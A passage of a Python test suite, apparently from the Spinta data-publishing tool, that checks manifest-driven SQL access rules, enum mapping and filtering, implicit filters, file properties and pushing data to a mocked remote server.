({'_id': ('eu', 'lt')}, 'Kaunas'),
({'_id': ('eu', 'lt')}, 'Vilnius'),
]
def test_access_private_primary_key(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | access
datasets/ds | | | |
| rs | sql | | |
| | Country | | code | COUNTRY |
| | | name | string | | NAME | open
| | | code | string | | CODE | private
| | City | | country | CITY |
| | | name | string | | NAME | open
| | | country | ref | Country | COUNTRY | open
'''))
app = create_client(rc, tmpdir, sqlite)
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('CODE', sa.Text),
],
'CITY': [
sa.Column('NAME', sa.Text),
sa.Column('COUNTRY', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'CODE': 'lt', 'NAME': 'Lithuania'},
{'CODE': 'lv', 'NAME': 'Latvia'},
{'CODE': 'ee', 'NAME': 'Estonia'},
])
sqlite.write('CITY', [
{'COUNTRY': 'lt', 'NAME': 'Vilnius'},
{'COUNTRY': 'lt', 'NAME': 'Kaunas'},
{'COUNTRY': 'lv', 'NAME': 'Riga'},
{'COUNTRY': 'ee', 'NAME': 'Tallinn'},
])
resp = app.get('/datasets/ds/Country')
data = listdata(resp, '_id', 'code', 'name', sort='name')
country_key_map = {_id: name for _id, code, name in data}
data = [
(country_key_map.get(_id), code, name)
for _id, code, name in data
]
assert data == [
('Estonia', NA, 'Estonia'),
('Latvia', NA, 'Latvia'),
('Lithuania', NA, 'Lithuania'),
]
resp = app.get('/datasets/ds/City')
data = listdata(resp, 'country', 'name', sort='name')
data = [
(
{
**country,
'_id': country_key_map.get(country.get('_id')),
},
name,
)
for country, name in data
]
assert data == [
({'_id': 'Lithuania'}, 'Kaunas'),
({'_id': 'Latvia'}, 'Riga'),
({'_id': 'Estonia'}, 'Tallinn'),
({'_id': 'Lithuania'}, 'Vilnius'),
]
def test_enum(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | | DRIVING | | open
| enum | | l | 'left' | open
| | | r | 'right' | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 'r', 'NAME': 'Lithuania'},
{'DRIVING': 'r', 'NAME': 'Latvia'},
{'DRIVING': 'l', 'NAME': 'India'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp) == [
('left', 'India'),
('right', 'Latvia'),
('right', 'Lithuania'),
]
def test_enum_ref(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
| enum | side | l | 'left' | open
| | | r | 'right' | open
| | | | |
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | side | DRIVING | | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 'r', 'NAME': 'Lithuania'},
{'DRIVING': 'r', 'NAME': 'Latvia'},
{'DRIVING': 'l', 'NAME': 'India'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp) == [
('left', 'India'),
('right', 'Latvia'),
('right', 'Lithuania'),
]
def test_enum_no_prepare(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | | DRIVING | | open
| enum | | l | | open
| | | r | | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 'r', 'NAME': 'Lithuania'},
{'DRIVING': 'r', 'NAME': 'Latvia'},
{'DRIVING': 'l', 'NAME': 'India'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp) == [
('l', 'India'),
('r', 'Latvia'),
('r', 'Lithuania'),
]
def test_enum_empty_source(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | | DRIVING | swap('', '-') | open
| enum | | l | | open
| | | r | | open
| | | - | null | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 'r', 'NAME': 'Lithuania'},
{'DRIVING': 'r', 'NAME': 'Latvia'},
{'DRIVING': '', 'NAME': 'Antarctica'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp) == [
('r', 'Latvia'),
('r', 'Lithuania'),
(None, 'Antarctica'),
]
def test_enum_ref_empty_source(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
| enum | side | l | | open
| | | r | | open
| | | - | null | open
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | side | DRIVING | swap('', '-') | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 'r', 'NAME': 'Lithuania'},
{'DRIVING': 'r', 'NAME': 'Latvia'},
{'DRIVING': '', 'NAME': 'Antarctica'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp) == [
('r', 'Latvia'),
('r', 'Lithuania'),
(None, 'Antarctica'),
]
def test_enum_empty_integer_source(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | | DRIVING | | open
| enum | | 0 | 'l' | open
| | | 1 | 'r' | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Integer),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 0, 'NAME': 'India'},
{'DRIVING': 1, 'NAME': 'Lithuania'},
{'DRIVING': 1, 'NAME': 'Latvia'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp) == [
('l', 'India'),
('r', 'Latvia'),
('r', 'Lithuania'),
]
def test_filter_by_enum_access(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | | DRIVING | | open
| enum | | 0 | 'l' | private
| | | 1 | 'r' | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Integer),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 0, 'NAME': 'India'},
{'DRIVING': 1, 'NAME': 'Lithuania'},
{'DRIVING': 1, 'NAME': 'Latvia'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp) == [
('r', 'Latvia'),
('r', 'Lithuania'),
]
def test_filter_by_ref_enum_access(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
| enum | side | 0 | 'l' | private
| | | 1 | 'r' | open
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | side | DRIVING | | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Integer),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 0, 'NAME': 'India'},
{'DRIVING': 1, 'NAME': 'Lithuania'},
{'DRIVING': 1, 'NAME': 'Latvia'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp) == [
('r', 'Latvia'),
('r', 'Lithuania'),
]
def test_filter_by_enum(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | | DRIVING | | open
| enum | | 0 | 'l' | private
| | | 1 | 'r' | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Integer),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 0, 'NAME': 'India'},
{'DRIVING': 1, 'NAME': 'Lithuania'},
{'DRIVING': 1, 'NAME': 'Latvia'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country?driving="r"')
assert listdata(resp) == [
('r', 'Latvia'),
('r', 'Lithuania'),
]
def test_filter_by_ref_enum(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
| enum | side | 0 | 'l' | private
| | | 1 | 'r' | open
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | side | DRIVING | | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Integer),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 0, 'NAME': 'India'},
{'DRIVING': 1, 'NAME': 'Lithuania'},
{'DRIVING': 1, 'NAME': 'Latvia'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country?driving="r"')
assert listdata(resp) == [
('r', 'Latvia'),
('r', 'Lithuania'),
]
def test_filter_by_enum_multi_value(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | | DRIVING | | open
| enum | | 0 | 'l' |
| | | 1 | 'r' |
| | | 2 | 'r' |
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Integer),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 0, 'NAME': 'India'},
{'DRIVING': 1, 'NAME': 'Lithuania'},
{'DRIVING': 2, 'NAME': 'Latvia'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country?driving="r"')
assert listdata(resp) == [
('r', 'Latvia'),
('r', 'Lithuania'),
]
def test_filter_by_enum_list_value(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | name | COUNTRY | |
| | | name | string | | NAME | | open
| | | driving | string | | DRIVING | | open
| enum | | 0 | 'l' |
| | | 1 | 'r' |
'''))
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Integer),
],
})
sqlite.write('COUNTRY', [
{'DRIVING': 0, 'NAME': 'India'},
{'DRIVING': 1, 'NAME': 'Lithuania'},
{'DRIVING': 1, 'NAME': 'Latvia'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country?driving=["l","r"]')
assert listdata(resp) == [
('l', 'India'),
('r', 'Latvia'),
('r', 'Lithuania'),
]
def test_implicit_filter(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | code | COUNTRY | continent = 'eu' |
| | | code | string | | CODE | | open
| | | continent | string | | CONTINENT | | open
| | | name | string | | NAME | | open
| | | | |
| | City | | name | CITY | |
| | | name | string | | NAME | | open
| | | country | ref | Country | COUNTRY | | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('CODE', sa.String),
sa.Column('CONTINENT', sa.String),
sa.Column('NAME', sa.Text),
],
'CITY': [
sa.Column('NAME', sa.Text),
sa.Column('COUNTRY', sa.String),
],
})
sqlite.write('COUNTRY', [
{'CODE': 'in', 'CONTINENT': 'as', 'NAME': 'India'},
{'CODE': 'lt', 'CONTINENT': 'eu', 'NAME': 'Lithuania'},
{'CODE': 'lv', 'CONTINENT': 'eu', 'NAME': 'Latvia'},
])
sqlite.write('CITY', [
{'COUNTRY': 'in', 'NAME': 'Mumbai'},
{'COUNTRY': 'in', 'NAME': 'Delhi'},
{'COUNTRY': 'lt', 'NAME': 'Vilnius'},
{'COUNTRY': 'lv', 'NAME': 'Ryga'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/City')
assert listdata(resp, 'name') == [
'Ryga',
'Vilnius',
]
def test_implicit_filter_no_external_source(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | code | COUNTRY | code = 'lt' |
| | | code | string | | CODE | | open
| | | name | string | | NAME | | open
| | | | |
| | City | | name | CITY | |
| | | name | string | | NAME | | open
| | | country | ref | Country | | | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('CODE', sa.String),
sa.Column('NAME', sa.Text),
],
'CITY': [
sa.Column('NAME', sa.Text),
sa.Column('COUNTRY', sa.String),
],
})
sqlite.write('COUNTRY', [
{'CODE': 'lt', 'NAME': 'Lithuania'},
{'CODE': 'lv', 'NAME': 'Latvia'},
])
sqlite.write('CITY', [
{'COUNTRY': 'lt', 'NAME': 'Vilnius'},
{'COUNTRY': 'lv', 'NAME': 'Ryga'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/City')
assert listdata(resp, 'name') == [
'Ryga',
'Vilnius',
]
def test_implicit_filter_two_refs(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | b | m | property | type | ref | source | prepare | access
example/standards | | | | |
| sql | sql | | sqlite:// | |
| | | | |
| | | StandardDocument | | standard, document | STANDARD_DOCUMENTS | |
| | | | standard | ref | Standard | STANDARD_ID | | open
| | | | document | ref | Document | DOCUMENT_ID | | open
| | | | |
| | | Standard | | id | STANDARD | |
| | | | id | integer | | STANDARD_ID | | private
| | | | name | string | | STANDARD_NAME | | open
| | | | |
| | | Document | | id | DOCUMENT | id=2 |
| | | | id | integer | | DOCUMENT_ID | | private
| | | | name | string | | NAME | | open
'''))
sqlite.init({
'STANDARD': [
sa.Column('STANDARD_ID', sa.Integer),
sa.Column('STANDARD_NAME', sa.Text),
],
'DOCUMENT': [
sa.Column('DOCUMENT_ID', sa.Integer),
sa.Column('NAME', sa.Text),
],
'STANDARD_DOCUMENTS': [
sa.Column('STANDARD_ID', sa.Integer, sa.ForeignKey('STANDARD.STANDARD_ID')),
sa.Column('DOCUMENT_ID', sa.Integer, sa.ForeignKey('DOCUMENT.DOCUMENT_ID')),
],
})
sqlite.write('STANDARD', [
{'STANDARD_ID': 1, 'STANDARD_NAME': 'S1'},
{'STANDARD_ID': 2, 'STANDARD_NAME': 'S2'},
])
sqlite.write('DOCUMENT', [
{'DOCUMENT_ID': 1, 'NAME': 'DOC1'},
{'DOCUMENT_ID': 2, 'NAME': 'DOC2'},
])
sqlite.write('STANDARD_DOCUMENTS', [
{'STANDARD_ID': 1, 'DOCUMENT_ID': 1},
{'STANDARD_ID': 2, 'DOCUMENT_ID': 2},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get(
'/example/standards/StandardDocument'
'?select(standard.name, document.name)'
)
assert listdata(resp, 'standard.name', 'document.name') == [
('S2', 'DOC2'),
]
def test_implicit_filter_by_enum(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | id | COUNTRY | |
| | | id | string | | ID | | private
| | | name | string | | NAME | | open
| | | driving | string | | DRIVING | | open
| enum | | 0 | 'l' | protected
| | | 1 | 'r' |
| | | | |
| | City | | name | CITY | |
| | | name | string | | NAME | | open
| | | country | ref | Country | COUNTRY | | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.Text),
sa.Column('DRIVING', sa.Integer),
],
'CITY': [
sa.Column('NAME', sa.Text),
sa.Column('COUNTRY', sa.Integer),
],
})
sqlite.write('COUNTRY', [
{'ID': 1, 'DRIVING': 0, 'NAME': 'India'},
{'ID': 2, 'DRIVING': 1, 'NAME': 'Lithuania'},
{'ID': 3, 'DRIVING': 1, 'NAME': 'Latvia'},
])
sqlite.write('CITY', [
{'COUNTRY': 1, 'NAME': 'Mumbai'},
{'COUNTRY': 1, 'NAME': 'Delhi'},
{'COUNTRY': 2, 'NAME': 'Vilnius'},
{'COUNTRY': 3, 'NAME': 'Ryga'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/City')
assert listdata(resp, 'name') == [
'Ryga',
'Vilnius',
]
def test_implicit_filter_by_enum_empty_access(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| enum | Side | 0 | 'l' |
| | | 1 | 'r' |
| | | | |
| resource | sql | | | |
| | Country | | id | COUNTRY | continent = "eu" |
| | | id | string | | ID | | private
| | | name | string | | NAME | | open
| | | continent | string | | CONTINENT | | open
| | | driving | string | Side | DRIVING | | open
| | | | |
| | City | | name | CITY | |
| | | name | string | | NAME | | open
| | | country | ref | Country | COUNTRY | | open
'''))
sqlite.init({
'COUNTRY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.Text),
sa.Column('CONTINENT', sa.Text),
sa.Column('DRIVING', sa.Integer),
],
'CITY': [
sa.Column('NAME', sa.Text),
sa.Column('COUNTRY', sa.Integer),
],
})
sqlite.write('COUNTRY', [
{'ID': 1, 'CONTINENT': 'az', 'DRIVING': 0, 'NAME': 'India'},
{'ID': 2, 'CONTINENT': 'eu', 'DRIVING': 1, 'NAME': 'Lithuania'},
{'ID': 3, 'CONTINENT': 'eu', 'DRIVING': 1, 'NAME': 'Latvia'},
])
sqlite.write('CITY', [
{'COUNTRY': 1, 'NAME': 'Mumbai'},
{'COUNTRY': 1, 'NAME': 'Delhi'},
{'COUNTRY': 2, 'NAME': 'Vilnius'},
{'COUNTRY': 3, 'NAME': 'Ryga'},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/City')
assert listdata(resp, 'name') == [
'Ryga',
'Vilnius',
]
def test_file(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | id | COUNTRY | |
| | | id | string | | ID | | private
| | | name | string | | NAME | | open
| | | flag_name | string | | FLAG_FILE | | private
| | | flag_data | binary | | FLAG_DATA | | private
| | | flag | file | | | file(name: flag_name, content: flag_data) | open
''')
sqlite.init({
'COUNTRY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.Text),
sa.Column('FLAG_FILE', sa.Text),
sa.Column('FLAG_DATA', sa.LargeBinary),
],
})
sqlite.write('COUNTRY', [
{
'ID': 2,
'NAME': 'Lithuania',
'FLAG_FILE': 'lt.png',
'FLAG_DATA': b'DATA',
},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp, full=True) == [
{
'name': 'Lithuania',
'flag._id': 'lt.png',
'flag._content_type': None, # FIXME: Should be 'image/png'.
},
]
def test_push_file(
postgresql,
rc: RawConfig,
cli: SpintaCliRunner,
responses,
tmpdir,
sqlite: Sqlite,
request,
):
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/push/file | | | | |
| resource | sql | sql | | |
| | Country | | id | COUNTRY | |
| | | id | string | | ID | | private
| | | name | string | | NAME | | open
| | | flag_name | string | | FLAG_FILE | | private
| | | flag_data | binary | | FLAG_DATA | | private
| | | flag | file | | | file(name: flag_name, content: flag_data) | open
''')
# Configure local server with SQL backend
sqlite.init({
'COUNTRY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.Text),
sa.Column('FLAG_FILE', sa.Text),
sa.Column('FLAG_DATA', sa.LargeBinary),
],
})
sqlite.write('COUNTRY', [
{
'ID': 2,
'NAME': 'Lithuania',
'FLAG_FILE': 'lt.png',
'FLAG_DATA': b'DATA',
},
])
local_rc = create_rc(rc, tmpdir, sqlite)
# Configure remote server
remote = configure_remote_server(cli, local_rc, rc, tmpdir, responses)
request.addfinalizer(remote.app.context.wipe_all)
# Push data to the remote server
cli.invoke(local_rc, [
'push',
str(tmpdir / 'manifest.csv'),
'-o', remote.url,
'--credentials', remote.credsfile,
])
remote.app.authmodel('datasets/gov/push/file/Country', ['getall', 'getone'])
resp = remote.app.get('/datasets/gov/push/file/Country')
assert listdata(resp, full=True) == [
{
'name': 'Lithuania',
'flag._id': 'lt.png',
'flag._content_type': None, # FIXME: Should be 'image/png'.
},
]
_id = resp.json()['_data'][0]['_id']
resp = remote.app.get(f'/datasets/gov/push/file/Country/{_id}/flag')
assert resp.status_code == 200
assert resp.content == b'DATA'
def test_image(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| resource | sql | | | |
| | Country | | id | COUNTRY | |
| | | id | string | | ID | | private
| | | name | string | | NAME | | open
| | | flag_name | string | | FLAG_FILE | | private
| | | flag_data | binary | | FLAG_DATA | | private
| | | flag | image | | | file(name: flag_name, content: flag_data) | open
''')
sqlite.init({
'COUNTRY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.Text),
sa.Column('FLAG_FILE', sa.Text),
sa.Column('FLAG_DATA', sa.LargeBinary),
],
})
sqlite.write('COUNTRY', [
{
'ID': 2,
'NAME': 'Lithuania',
'FLAG_FILE': 'lt.png',
'FLAG_DATA': b'DATA',
},
])
app = create_client(rc, tmpdir, sqlite)
resp = app.get('/datasets/gov/example/Country')
assert listdata(resp, full=True) == [
{
'name': 'Lithuania',
'flag._id': 'lt.png',
'flag._content_type': None, # FIXME: Should be 'image/png'.
},
]
def test_image_file(
postgresql,
rc: RawConfig,
cli: SpintaCliRunner,
responses,
tmpdir,
sqlite: Sqlite,
request,
):
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | m | property | type | ref | source | prepare | access
datasets/gov/push/file | | | | |
| resource | sql | sql | | |
| | Country | | id | COUNTRY | |
| | | id | string | | ID | | private
| | | name | string | | NAME | | open
| | | flag_name | string | | FLAG_FILE | | private
| | | flag_data | binary | | FLAG_DATA | | private
| | | flag | image | | | file(name: flag_name, content: flag_data) | open
''')
# Configure local server with SQL backend
sqlite.init({
'COUNTRY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.Text),
sa.Column('FLAG_FILE', sa.Text),
sa.Column('FLAG_DATA', sa.LargeBinary),
],
})
sqlite.write('COUNTRY', [
{
'ID': 2,
'NAME': 'Lithuania',
'FLAG_FILE': 'lt.png',
'FLAG_DATA': b'DATA',
},
])
local_rc = create_rc(rc, tmpdir, sqlite)
# Configure remote server
remote = configure_remote_server(cli, local_rc, rc, tmpdir, responses)
request.addfinalizer(remote.app.context.wipe_all)
# Push data to the remote server
cli.invoke(local_rc, [
'push',
str(tmpdir / 'manifest.csv'),
'-o', remote.url,
'--credentials', remote.credsfile,
])
remote.app.authmodel('datasets/gov/push/file/Country', ['getall', 'getone'])
resp = remote.app.get('/datasets/gov/push/file/Country')
assert listdata(resp, full=True) == [
{
'name': 'Lithuania',
'flag._id': 'lt.png',
'flag._content_type': None, # FIXME: Should be 'image/png'.
},
]
_id = resp.json()['_data'][0]['_id']
resp = remote.app.get(f'/datasets/gov/push/file/Country/{_id}/flag')
assert resp.status_code == 200
assert resp.content == b'DATA'
def test_push_null_foreign_key(
postgresql,
rc: RawConfig,
cli: SpintaCliRunner,
responses,
tmpdir,
sqlite: Sqlite,
request,
):
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | b | m | property | type | ref | source | access
example/null/fk | | | |
| resource | sql | sql | |
| | | Country | | id | COUNTRY |
| | | | id | integer | | ID | private
| | | | name | string | | NAME | open
| | | City | | id | CITY |
| | | | id | integer | | ID | private
| | | | name | string | | NAME | open
| | | | country | ref | Country | COUNTRY | open
| | | | embassy | ref | Country | EMBASSY | open
''')
# Configure local server with SQL backend
sqlite.init({
'COUNTRY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.String),
],
'CITY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.String),
sa.Column('COUNTRY', sa.Integer, sa.ForeignKey('COUNTRY.ID')),
sa.Column('EMBASSY', sa.Integer, sa.ForeignKey('COUNTRY.ID')),
],
})
sqlite.write('COUNTRY', [
{
'ID': 1,
'NAME': 'Latvia',
},
{
'ID': 2,
'NAME': 'Lithuania',
},
])
sqlite.write('CITY', [
{
'ID': 1,
'NAME': 'Ryga',
'COUNTRY': 1,
'EMBASSY': None,
},
{
'ID': 2,
'NAME': 'Vilnius',
'COUNTRY': 2,
'EMBASSY': 1,
},
{
'ID': 3,
'NAME': 'Winterfell',
'COUNTRY': None,
'EMBASSY': None,
},
])
local_rc = create_rc(rc, tmpdir, sqlite)
# Configure remote server
remote = configure_remote_server(cli, local_rc, rc, tmpdir, responses)
request.addfinalizer(remote.app.context.wipe_all)
# Push data from local to remote.
cli.invoke(local_rc, [
'push',
'-o', 'spinta+' + remote.url,
'--credentials', remote.credsfile,
])
remote.app.authmodel('example/null/fk', ['getall'])
resp = remote.app.get('/example/null/fk/Country')
countries = dict(listdata(resp, 'name', '_id'))
resp = remote.app.get('/example/null/fk/City')
assert listdata(resp, full=True, sort='name') == [
{
'name': 'Ryga',
'country._id': countries['Latvia'],
'embassy._id': None,
},
{
'name': 'Vilnius',
'country._id': countries['Lithuania'],
'embassy._id': countries['Latvia'],
},
{
'name': 'Winterfell',
'country._id': None,
'embassy._id': None,
},
]
def test_push_self_ref(
postgresql,
rc: RawConfig,
cli: SpintaCliRunner,
responses,
tmpdir,
sqlite: Sqlite,
request,
):
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | b | m | property | type | ref | source | access
example/self/ref | | | |
| resource | sql | sql | |
| | | City | | id | CITY |
| | | | id | integer | | ID | private
| | | | name | string | | NAME | open
| | | | governance | ref | City | GOVERNANCE | open
''')
# Configure local server with SQL backend
sqlite.init({
'CITY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.String),
sa.Column('GOVERNANCE', sa.Integer, sa.ForeignKey('CITY.ID')),
],
})
sqlite.write('CITY', [
{
'ID': 1,
'NAME': 'Vilnius',
'GOVERNANCE': None,
},
{
'ID': 2,
'NAME': 'Trakai',
'GOVERNANCE': 1,
},
])
local_rc = create_rc(rc, tmpdir, sqlite)
# Configure remote server
remote = configure_remote_server(cli, local_rc, rc, tmpdir, responses)
request.addfinalizer(remote.app.context.wipe_all)
# Push data from local to remote.
cli.invoke(local_rc, [
'push',
'-o', 'spinta+' + remote.url,
'--credentials', remote.credsfile,
])
remote.app.authmodel('example/self/ref', ['getall'])
resp = remote.app.get('/example/self/ref/City')
cities = dict(listdata(resp, 'name', '_id'))
assert listdata(resp, full=True) == [
{
'name': 'Trakai',
'governance._id': cities['Vilnius'],
},
{
'name': 'Vilnius',
'governance._id': None,
},
]
def _prep_error_handling(
tmpdir: pathlib.Path,
sqlite: Sqlite,
rc: RawConfig,
responses: RequestsMock,
*,
response: Tuple[int, Dict[str, str], str] = None,
exception: Exception = None,
) -> RawConfig:
create_tabular_manifest(tmpdir / 'manifest.csv', '''
d | r | b | m | property | type | ref | source | access
example/errors | | | |
| resource | sql | sql | |
| | | City | | id | CITY |
| | | | id | integer | | ID | private
| | | | name | string | | NAME | open
''')
# Configure local server with SQL backend
sqlite.init({
'CITY': [
sa.Column('ID', sa.Integer),
sa.Column('NAME', sa.String),
],
})
sqlite.write('CITY', [
{'ID': 1, 'NAME': 'Vilnius'},
{'ID': 2, 'NAME': 'Kaunas'},
])
rc = create_rc(rc, tmpdir, sqlite)
# Configure remote server
def handler(request: PreparedRequest):
if request.url.endswith('/auth/token'):
return (
200,
{'content-type': 'application/json'},
'{"access_token":"TOKEN"}',
)
elif exception:
raise exception
else:
return response
responses.add_callback(
POST, re.compile(r'https://example.com/.*'),
callback=handler,
content_type='application/json',
)
add_client_credentials(
tmpdir / 'credentials.cfg',
'https://example.com',
client='test',
secret='secret',
scopes=['spinta_insert'],
)
return rc
def test_error_handling_server_error(
rc: RawConfig,
cli: SpintaCliRunner,
responses: RequestsMock,
tmpdir: pathlib.Path,
sqlite: Sqlite,
